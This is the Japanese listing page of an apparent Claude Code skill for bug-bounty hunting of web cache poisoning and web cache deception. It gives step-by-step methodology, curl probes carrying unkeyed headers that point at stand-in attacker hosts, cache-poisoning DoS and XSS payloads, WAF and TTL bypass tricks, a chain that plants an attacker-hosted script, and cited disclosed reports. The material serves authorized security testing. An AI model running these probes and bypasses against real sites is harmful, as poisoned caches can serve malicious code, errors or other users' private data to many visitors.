mcpField
H
hunt-cache-poison

hunt-cache-poison

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

hunt-cache-poison について

hunt-cache-poisonは、Webキャッシュポイズニングを調査するセキュリティテスト用スキルです。キャッシュ挙動の特定から、別クライアントでの影響確認、深刻度の記録までを扱います。

主な機能

  1. 01キャッシュ基盤と応答シグナルの特定
  2. 02キャッシュキー外のヘッダーとパラメーターの調査
  3. 03URLパスによるキャッシュ欺瞞のテスト
  4. 04別クライアントへのポイズニング確認
  5. 05キャッシュ期間と影響範囲の評価

活用シーン

  1. 01CDNキャッシュ設定の問題調査
  2. 02動的ページが静的リソースとして保存されるかの確認
  3. 03ポイズニング応答が他ユーザーに届くかの検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-cache-poison

インストール後、Claude Code で/hunt-cache-poisonを入力して読み込まれたか確認します。

詳細

主要な標的

キャッシュポイズニングは、1つの汚染されたキャッシュエントリが数千人から数百万人の被害者に同時に影響する可能性があるため、価値の高い攻撃です。1つのリクエストで大規模なエクスプロイトが可能です。報奨金は影響範囲に応じて増加します。

特に価値の高い標的:

  • CDN 配信アセット(cdn.shopify.com、cloudfront ディストリビューション、Fastly/Akamai のエッジ)—これらをポイズニングすると、世界中のすべての訪問者に影響します
  • アフィリエイト/紹介フローを持つE コマースプラットフォーム(Shopify、WooCommerce のストアフロント)—セッションハイジャックやアフィリエイト詐欺につながる可能性があります
  • 更新サーバーを持つゲームプラットフォーム(rockstargames updates.* ドメイン)—更新配信への DoS により、クライアントに広範な障害が発生します
  • キャッシュ経由で配信される認証エンドポイント—アカウント乗っ取りにつながります(最も深刻な種類です)
  • アセット CDN(JS/CSS 配信)—XSS ペイロードを大規模に配信できます
  • SaaS マルチテナントプラットフォーム—1つのレスポンスを汚染すると、同じキャッシュキーを共有するすべてのテナントに影響が及びます

**最も高額な報奨金につながるアセットの種類:**CDN ホスト名、テナントごとのサブドメインパターン、更新/ダウンロードサーバー、誤ってキャッシュされたログイン/アカウントページ、アフィリエイトリンクの短縮サービス。


攻撃対象領域を示すシグナル

探すべき URL パターン:

  • cdn.、assets.、static.、updates.、downloads. のサブドメイン
  • 静的ファイルに見える拡張子を含む URL パス構造:/path/to/page.css、/account.php/nonexistent.jpg
  • アフィリエイト/リンク短縮エンドポイント:/link/、/go/、/ref/、/out/
  • 動的コンテンツとキャッシュ可能に見える URL が混在するパス

キャッシュを示すレスポンスヘッダー:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/技術スタックのシグナル:

  • レスポンスヘッダー内の Fastly、Varnish、Cloudfront、Akamai、Nginx proxy_cache
  • サードパーティ統合を使用する Shopify/Linkpop のスタック
  • 末尾のセグメントを正規化せず、パスベースのルーティングを使用するプラットフォーム
  • 検証されていないヘッダー(Host、X-Forwarded-Host、X-Original-URL)をレスポンスに反映するサーバー

危険なヘッダーの候補(キーに含まれない入力):

X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override

ステップごとのハンティング手法

  1. キャッシュインフラをマッピングします。 ターゲットに GET を送信し、レスポンスヘッダーを調べます。キャッシュレイヤー(Cloudflare、Fastly、Varnish、Nginx)を特定します。Age、X-Cache、CF-Cache-Status ヘッダーに注目します。

  2. キャッシュキーの構成要素を特定します。 同一のリクエストを2回送信し、Age が増加する場合はレスポンスがキャッシュされています。ヘッダーを1つずつ変更(例:X-Forwarded-Host を追加)し、どのヘッダーがキャッシュキーに含まれていないか(キー化されていないか)を確認します。

  3. キー化されていないヘッダーの反映をテストします。 X-Forwarded-Host: evil.com を追加し、値がレスポンス本文(リダイレクト、正規リンク、CSP ヘッダー、JS の src 属性、meta タグ)に現れるか確認します。一意のキャッシュ回避用クエリパラメーター(例:?cb=<random>)を追加して、使い捨てのキーでプローブがキャッシュ MISS になるようにします。これにより、実際の被害者と共有されるキャッシュキーに有効なポイズンエントリーを早まって保存せずに、値の反映を確認できます。(Param Miner の「Guess headers」モードは、こうしたキー化されていないヘッダーやパラメーターを自動検出するための標準的な Burp ツールチェーンです。)

  4. URL パスの操作(Web Cache Deception)をテストします。 動的エンドポイントに偽の静的拡張子を付加します。

    • GET /account/profile.css
    • GET /dashboard/settings.jpg
    • GET /affiliate-link/target.js サーバーが動的コンテンツを返し、かつキャッシュに保存するか確認します。
  5. キャッシュポイズニングによる DoS をテストします。 4xx/5xx エラーを引き起こすヘッダーを含むリクエストを送信し、そのエラーレスポンスがキャッシュされるか確認します。

    • 不正な Host ヘッダー
    • 無効なホストを指す X-Forwarded-Host
    • バックエンドエラーを引き起こす過大なヘッダー
  6. キー化されていないパラメーターによるポイズニングを確認します。 クエリパラメーターの疲弊または HTTP パラメーター汚染を試します。

    • GET /page?utm_source="><script>alert(1)</script> パラメーターが反映され、/page への通常のリクエストに対してキャッシュされるか確認します。
  7. キャッシュへの保存を検証します。 ポイズニングの可能性があるリクエストを送信した直後に、別の IP アドレスまたはシークレットセッションから、悪意のあるヘッダーを含めずに同じ URL をリクエストします。ポイズニングされたレスポンスを受け取れば、確認完了です。

  8. キャッシュ TTL を測定します。 Cache-Control: max-age と Age を確認し、ポイズンがどれくらいの期間持続するか、期限切れ前に悪用可能かを把握します。

  9. アフィリエイト/リンクのフローを重点的に確認します。 Linkpop のようなプラットフォームでは、リファラー/商品 URL が、他のユーザーにも配信されるキャッシュ可能なレスポンスに埋め込まれているかテストします。

  10. 影響範囲を記録します。 グローバル CDN エッジ(全世界)、地域キャッシュ、単一サーバーのキャッシュのいずれかを特定します。これは深刻度の評価に直接影響します。


ペイロードと検出パターン

キャッシュ動作を確認:

# Send twice, compare Age header
curl --max-time 30 --connect-timeout 10 -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl --max-time 30 --connect-timeout 10 -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

キー化されていない X-Forwarded-Host をテスト:

curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-Host: evil.attacker.com" \
  "https://target.com/page" | grep -i "evil.attacker.com"

Web Cache Deception(パスの追加)をテスト:

# Authenticated session cookie required
curl --max-time 30 --connect-timeout 10 -s -b "session=YOUR_SESSION" \
  "https://target.com/account/profile.css"

# Then fetch without auth from another client
curl --max-time 30 --connect-timeout 10 -s "https://target.com/account/profile.css"

キャッシュ済みバージョンに影響を与えずにポイズニングをテストするため、キャッシュ MISS を発生させる:

# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-Host: canary.attacker.com" \
     "https://target.com/page?cb=$RANDOM"

ポイズニングされたエラーレスポンスによる DoS:

curl --max-time 30 --connect-timeout 10 -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
  "https://target.com/js/app.js" -I
# Check if next clean request returns error
curl --max-time 30 --connect-timeout 10 -s -I "https://target.com/js/app.js" | grep "HTTP/"

Burp/ZAP のレスポンス履歴での grep パターン:

# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]

# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.

# Web cache deception indicators
Content-Type: text/css  (but response is HTML/JSON)
Cache-Control: public.*max-age  (on authenticated endpoint)

パラメーター汚染テスト:

curl --max-time 30 --connect-timeout 10 -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl --max-time 30 --connect-timeout 10 -s "https://target.com/page?cb=1"

キー化されていないヘッダーを探す Burp Suite Intruder のワードリスト:

X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP

よくある根本原因

  1. CDN の設定ミス — URL パスのみを基準にしたキャッシュ。 エンジニアは、動的ルートにパスを追加できることに気づかず、「*.js に一致するものをすべてキャッシュする」といったキャッシュルールを設定します。オリジンサーバーは余分なパスセグメントを無視しますが、CDN はそれらをキャッシュキーとして使用します。

  2. キーに含まれないヘッダーの転送。 開発者は、URL 生成(正規リンク、リダイレクト、パスワードリセットメール)のために X-Forwarded-Host をバックエンドに転送するようリバースプロキシを設定しますが、これをキャッシュキーに含めません。CDN は汚染されたレスポンスをキャッシュします。

  3. 寛容なルーティングによる Web キャッシュ欺瞞。 URL を正規化するフレームワーク(例:Rails、Express)は、/account/settings.css を受け付け、/account/settings と同じレスポンスを返します。CDN は .css 拡張子を検出し、積極的なキャッシュルールを適用します。

  4. マルチテナントのレスポンスの共有キャッシュ。 テナント分離をキャッシュキーに含めず、単一の CDN を使用する SaaS プラットフォームでは、テナント間でキャッシュを汚染できます。

  5. エラーレスポンスを考慮せずにキャッシュする。 攻撃者が制御する入力によって発生したバックエンドエラー(404、500)がキャッシュされ、正規のユーザーに対する DoS を引き起こします。開発者はエラーステータスコードを除外せずにキャッシュを実装します。

  6. Vary ヘッダーの不完全な実装。 開発者は Vary: X-Forwarded-Host を追加すべきだと知っていても忘れてしまうか、CDN が Vary ヘッダーを完全に削除または無視します(Cloudflare は過去に、一部のアセットタイプで Vary を削除していました)。

  7. URL を反映するサードパーティー連携。 アフィリエイト/リンク追跡システム(Shopify Linkpop など)は、メタデータ、正規タグ、またはリダイレクトに遷移先 URL を反映します。そして、これらがグローバルにキャッシュされます。


回避手法

防御策:既知の汚染ヘッダーを WAF でブロックする

  • 回避策:あまり一般的でないヘッダーのバリエーションを使う:X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded: host=evil.com、X-Original-URL
  • 回避策:ヘッダー値のエンコード:X-Forwarded-Host: evil%2ecom
  • 回避策:大文字・小文字の違いを利用する:x-forwarded-host、X-FORWARDED-HOST

防御策:エッジで攻撃者が指定したヘッダーを削除する

  • 回避策:プロキシが HTTP/2 を HTTP/1.1 にダウングレードする場合、HTTP/2 疑似ヘッダーを操作する
  • 回避策:HTTP リクエストスマグリングを使って注入する — 汚染ヘッダーを含むリクエストを WAF に通過させ、キャッシュサーバーに直接到達させる

防御策:キャッシュ前に認証を必須にする

  • 回避策:Web キャッシュ欺瞞 — 認証を無視するキャッシュルールに一致するよう URL に .css/.js を追加し、認証済みコンテンツをキャッシュに保存させる

防御策:クエリ文字列を含む完全な URL をキャッシュキーに含める

  • 回避策:HTTP パラメータ汚染 — 一部のパーサーは最初の出現箇所を採用する一方、キャッシュは文字列全体をキーにします。?legit=1&param=evil を注入すると、キャッシュには ?legit=1&param=evil として保存されますが、被害者は ?legit=1 にアクセスします
  • 回避策:巨大な GET リクエスト — バックエンドは処理するものの、キャッシュは無視するボディパラメーターを送信する

防御策:TTL を短くする/キャッシュをすばやくパージする

  • 回避策:再汚染を自動化する。TTL の期限が切れる直前に、汚染リクエストをループで送信する
  • 回避策:特定の PoP 経由でリクエストをルーティングし、デフォルト TTL がより長い CDN ノードを標的にする

防御策:機密性の高いエンドポイントに Cache-Control: private を設定する

  • 回避策:CDN がこのヘッダーを尊重するか確認する(一部の CDN は、管理者がキャッシュルールをグローバルに上書きしている場合、これを無視します)
  • 回避策:同じ機密データを反映する、近接したキャッシュ可能なエンドポイントを探す

ゲート 0:検証

  1. 攻撃者は現時点で何を実行できますか? 攻撃者はキャッシュエントリーを汚染し、その後、別のクライアント/IPからの別個の未認証リクエストが、汚染されたレスポンスを受け取ることを実証できる必要があります。攻撃者自身のブラウザーにだけ影響が現れるのでは不十分です。攻撃者にしか影響が見えない場合、それはキャッシュポイズニングではありません。

  2. 被害者は何を失いますか? 次のいずれかである必要があります。(a)汚染されたレスポンスに反映された認証情報によるセッション/アカウントの侵害、(b)汚染されたアセットを介した攻撃者が制御する JS の実行、(c)正規のリクエストにエラーレスポンスが返されるサービス拒否、または(d)機密データの漏えい(アカウント情報がキャッシュされ、ほかのユーザーに配信される)。「奇妙なレスポンスヘッダー」だけでは影響とは言えません。

  3. 一から 10 分以内に再現できますか? 次の手順を実行できる必要があります。ポイズニングリクエストを送信する → キャッシュへの保存を待つ → シークレットウィンドウ/別 IP から URL を取得する → 汚染されたレスポンスを確認する。2 つ目のクライアントでこの再現手順を実証できない場合、キャッシュが実際には汚染を保存していない可能性があり、報告の準備ができていません。


実際の影響例

シナリオ 1 — CDN アセット配信に対する大規模な DoS(Shopify CDN) 攻撃者は、細工したヘッダーを含むリクエストを送信してオリジンに 4xx エラーを返させることで、cdn.shopify.com の CDN 配信 JavaScript アセットを汚染できることを特定しました。CDN はこのエラーレスポンスをキャッシュしました。その後、このアセットを読み込むすべてのマーチャントのストアフロントで、有効な JS ファイルの代わりにキャッシュされたエラーが返され、同じ CDN パスを共有するすべてのストアでチェックアウトフローとストアフロント機能が破損しました。HTTP リクエスト 1 回で、世界中のマーチャントに影響が及び、キャッシュ TTL が切れるまで継続しました。

シナリオ 2 — Web キャッシュ欺瞞によるアカウント乗っ取り 認証済みアカウントページを提供するプラットフォームで、攻撃者は /account/profile/photo.jpg のような URL を作成し、被害者に(フィッシングリンクを通じて)送りました。被害者が認証済みの状態でこの URL にアクセスすると、サーバーはアカウントの完全なプロフィールページ(名前、メールアドレス、セッショントークン)を返しました。URL が .jpg で終わっていたため、CDN は認証済みレスポンスを公開状態でキャッシュしました。攻撃者はその後、認証なしで /account/profile/photo.jpg を取得し、被害者のアカウントデータを受け取り、アカウントを完全に乗っ取ることができました。キャッシュが同じレスポンスを後続のリクエストにも配信したため、影響はさらに拡大しました。

シナリオ 3 — URL パス操作によるアフィリエイトリンクの乗っ取り(Shopify Linkpop) 攻撃者は、Linkpop のアフィリエイトリンクサービスが URL パスに基づいてレスポンスをキャッシュする一方、操作された商品遷移先 URL をキャッシュ済み HTML に反映することを発見しました。正規ユーザーがアクセスする前に、特別に細工したパスへアクセスすることで、攻撃者はキャッシュを汚染し、アフィリエイトリンクのクリックを正規の Amazon 商品ではなく攻撃者が制御するドメインへリダイレクトしました。有効なマーチャントリンクに見えるリンクをクリックした被害者は、攻撃者のインフラへ誘導され、認証情報を狙ったフィッシングや正規マーチャントのアフィリエイト収益の損失につながりました。


公開済みレポートの引用(2017-2024)

以下の実在する検証済みのバグバウンティ/協調的情報開示の事例は、このスキルの対象範囲を広げるものです。主な 2 種類、すなわちキャッシュポイズニング(攻撃者が被害者に配信されるキャッシュ済みレスポンスに影響を与える)とキャッシュ欺瞞(攻撃者がキャッシュをだまして被害者の非公開レスポンスを保存させる)を扱います。

  1. Shopify — X-Forwarded-Host によるキャッシュポイズニング(H1 #977851)

    • サブクラス:X-Forwarded-Host ヘッダーのポイズニング(キーに含まれない入力 → リダイレクト/script-src の改変)
    • ペイロード:GET /any-path と X-Forwarded-Host: attacker.com — 1 回のリクエストで、攻撃者のホストが apps.shopify.com およびローカライズされたサブドメイン全体のキャッシュ済みレスポンスに残存
    • 根本原因:X-Forwarded-Host はアセット/リダイレクト URL の生成に影響していましたが、キャッシュキーには含まれていませんでした
    • 年:2020 — $1,300 → $6,300 に増額(一度のポイズニングで複数ホストに影響)
  2. HackerOne — X-Forwarded-Port によるキャッシュポイズニング DoS (H1 #409370)

    • サブクラス: X-Forwarded-Host / X-Forwarded-Port による DoS(不正なポートへのリダイレクトのポイズニング)
    • ペイロード: X-Forwarded-Port: 1 を付けた GET /<redirect-path> — キャッシュされた 301 リダイレクトが正規ユーザーをポート 1 に誘導し、アクセスを妨害
    • 根本原因: 301 リダイレクト生成時に X-Forwarded-* ヘッダーを信頼していたこと。キャッシュが不正な Location を保存
    • 年: 2018 — $2,500(H1 に対する H1 の基礎的ケース)
  3. GitLab — X-HTTP-Method-Override によるキャッシュポイズニング DoS (H1 #1160407)

    • サブクラス: メソッドクローキング / GCS キャッシュキーのブリード(HEAD が GET キーで保存される)
    • ペイロード: X-HTTP-Method-Override: HEAD を付けた GET /assets/webpack/*.js — GCS バックエンドがオーバーライドを受理して空のボディを返し、CDN がそれを正規の GET レスポンスとしてキャッシュ
    • 根本原因: CDN キャッシュがメソッドを考慮していなかった。HEAD のボディ(空)がキャッシュされた静的アセットの GET エントリを上書き
    • 年: 2021 — $2,500(DoS は通常 OOS だが、新規性が認められて支払い)
  4. PayPal — Web Cache Deception(Omer Gil の原典) (ブログ)

    • サブクラス: 認証済みルートに .css/.jpg などのパスを追加する古典的 WCD
    • ペイロード: GET https://www.paypal.com/myaccount/home/foo.css — オリジンが認証済みアカウントページ全体を返し、CDN がそれを「静的な .css」として約 5 時間キャッシュ
    • 根本原因: オリジンが未知のパスサフィックスを親の動的ハンドラーにルーティングしていた。CDN は静的に見えるファイル拡張子のみに基づいてキャッシュ
    • 年: 2017 — $3,000(PortSwigger 2017 年トップ 10 Web ハッキングテクニック、第 2 位)
  5. Cloudflare PBB — .avif による Cache Deception Armor バイパス (H1 #1391635)

    • サブクラス: マイナーな画像拡張子を使った CDN 固有の許可リストバイパス(Cloudflare の WCD 対策機能)
    • ペイロード: GET https://<protected-origin>/account/me.avif — Cloudflare の Cache Deception Armor の拡張子リストが .avif を欠いていたため、認証済み HTML レスポンスがキャッシュ
    • 根本原因: Cache Deception Armor が静的で不完全な拡張子許可リストを使用しており、最新の画像 MIME タイプを網羅していなかった
    • 年: 2022 — Cloudflare PBB バウンティ(金額は非公開)
  6. Akamai(PayPal/Airbnb/Goldman Sachs) — ホップバイホップヘッダースマグリング → サーバーサイドエッジポイズニング (Tediosi & Mariani の記事)

    • サブクラス: CDN 固有のリクエストスマグリングで、近隣 IP 向けの Akamai エッジキャッシュに攻撃者のレスポンスを混入させる
    • ペイロード: Connection: Content-Length + 細工されたリクエスト — Akamai の最初のプロキシがホップバイホップとして Content-Length を除去し、2 番目のプロキシがボディを 2 番目のリクエストとして扱い、そのレスポンスがエッジでキャッシュ
    • 根本原因: Akamai のプロキシ階層間でホップバイホップヘッダーの扱いが一貫しておらずデシンクが発生。スマグリングされたレスポンスがサーバーサイドでグローバルにキャッシュ
    • 年: 2022 — 影響を受けたプログラム全体で 合計 $50K 超(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100)、PortSwigger 2022 年トップ 10 Web ハッキングテクニック ノミネート
  7. James Kettle(PortSwigger)—「Gotta cache 'em all」:Cloudflare/Fastly/GCP に対するパス正規化と WCD(PortSwigger Research)

    • サブクラス:主要な CDN(Cloudflare、Fastly、GCP/Google Cloud)におけるキャッシュキーのパス正規化の不一致と Web Cache Deception — このスキルの説明で言及されている 2024 年の調査です
    • ペイロード:オリジンとキャッシュ間の区切り文字や正規化の解釈の不一致(エンコードされたパスセグメントや静的サフィックスのトリックなど)により、キャッシュが動的な認証済みレスポンスを静的に見えるキーで保存するよう仕向けます
    • 根本原因:キャッシュとオリジンで URL パスの正規化や解析方法が異なるため、キャッシュキーがオリジンの実際の提供リソースと一致しません
    • 年:2024 年 — CDN ベンダーとの調整済み情報開示。手法に関する調査(単一の報奨金はありません)、PortSwigger の「Top-10 Web Hacking Techniques 2024」に選出

検証

キャッシュポイズニングへの対応準備ができていることを確認するため、このセルフテストを実行します。

  1. キャッシュヘッダーの検出 — キャッシュヘッダーの認識を確認します:

    echo "X-Cache: hit" | grep -q "X-Cache" && echo "PASS: cache header recognized" || echo "FAIL"
    echo "CF-Cache-Status: HIT" | grep -q "CF-Cache" && echo "PASS: Cloudflare cache recognized" || echo "FAIL"
    
  2. キーに含まれないヘッダーのインジェクション — ヘッダープローブの構文を確認します:

    echo "X-Forwarded-Host: evil.com" | grep -q "X-Forwarded-Host" && echo "PASS: unkeyed header syntax" || echo "FAIL"
    
  3. Fat GET テスト — GET リクエストのボディがサポートされていることを確認します:

    curl --max-time 30 --connect-timeout 10 -s -X GET "https://httpbin.org/get" -d "test=body" 2>/dev/null | grep -q "test" && echo "PASS: GET with body supported" || echo "(httpbin may be down)"
    

3 つのテストすべてで、キャッシュポイズニングのプロービング準備ができていることを確認できます。


注意点

  • キャッシュヒットを伴わない、キーに含まれないヘッダーの反映 — ヘッダーが反映され、かつレスポンスがキャッシュされている必要があります(X-Cache: hit)。キャッシュヒットのない単なる反映は、キャッシュポイズニングではありません。
  • 単一プローブによる誤検知 — X-Cache: hit を伴う 200 が 1 回返されただけでは、ポイズニングの証明になりません。異なる IP からの複数のリクエストで、一貫してキャッシュヒットすることを確認する必要があります。
  • Vary ヘッダーの見落とし — Vary: User-Agent が設定されている場合、ポイズニングの影響を受けるのは同じ UA 文字列を持つユーザーだけです。影響範囲を記録してください。
  • Fat GET ボディによるポイズニング — URL のみを基準にキャッシュし、ボディを無視する CDN もあります。細工したボディを含む Fat GET によって、その URL を利用するすべてのユーザーに対してキャッシュをポイズニングできます。
  • 共有キャッシュがない場合の Host ヘッダーポイズニング — キャッシュがオリジンごとに分かれている場合、ポイズニングの影響を受けるのは自分のリクエストだけです。別の IP やブラウザーからテストしてください。
  • Web Cache Deception とポイズニングの違い — Deception はキャッシュをだまして機密データを静的コンテンツとして保存させます。ポイズニングは悪意のあるコンテンツを注入します。混同しないでください。

関連スキルとチェーン

  • hunt-xss — キャッシュポイズニングは、反射型 XSS(深刻度が低く、自分自身にしか影響しない)を、CDN エッジを訪れるすべてのユーザーに及ぶ格納型 XSS に変える増幅要因です。チェーンのプリミティブ:X-Forwarded-Host: attacker.com によってキャッシュされたスクリプトの src がポイズニングされる → キャッシュされたレスポンスに <script src="//attacker.com/x.js"> が含まれる → その CDN エッジへのすべての訪問者が攻撃者の JS を実行する。これは Cache-Control の max-age 全期間にわたって持続します。
  • hunt-http-smuggling — スマグリングは、フロントエンドのキャッシュキー正規化と、ポイズニングヘッダーを除去する WAF を回避して、キャッシュサーバーに直接リクエストを送ります。チェーンのプリミティブ:CL.TE スマグリングによって、エッジでヘッダーを除去した WAF を通過し、X-Forwarded-Host: attacker.com がキャッシュバックエンドに届く → 被害者の通常の URL に対応するキーでポイズニングされたエントリーが保存される → 非同期ポイズニングにより、スマグリングされたリクエストが次の被害者へのキャッシュレスポンスになります。
  • hunt-auth-bypass — Web Cache Deception は、認証済みページを公開キャッシュされるレスポンスに変え、セッションに紐づいたコンテンツを未認証の攻撃者に漏えいさせます。チェーンのプリミティブ:/account/profile.css が認証済み HTML として配信され、静的アセットとしてキャッシュされる → 攻撃者が認証なしで同じ URL を取得し、被害者のメールアドレスやトークンを読み取る → セッション Cookie が本文に含まれる → 完全な ATO。
  • security-arsenal — 手作業でファジングする前に、キーに含まれないヘッダーのワードリスト(X-Forwarded-Host、X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded、X-Original-URL)と、WCD のパス拡張子リスト(.css、.js、.jpg、.ico、;.css、%2e%2ecss)を使ってください。
  • triage-validation — クリティカルと判定する前に、重大度判定前ゲートを実行してください。ポイズニングされたレスポンスは、自分のポイズニングヘッダーを使わずに、別の IP アドレス/シークレットウィンドウから再現できなければなりません。自分のブラウザーでしか影響を確認できない場合は、自分のキャッシュにしか作用しておらず、該当しません。

コメント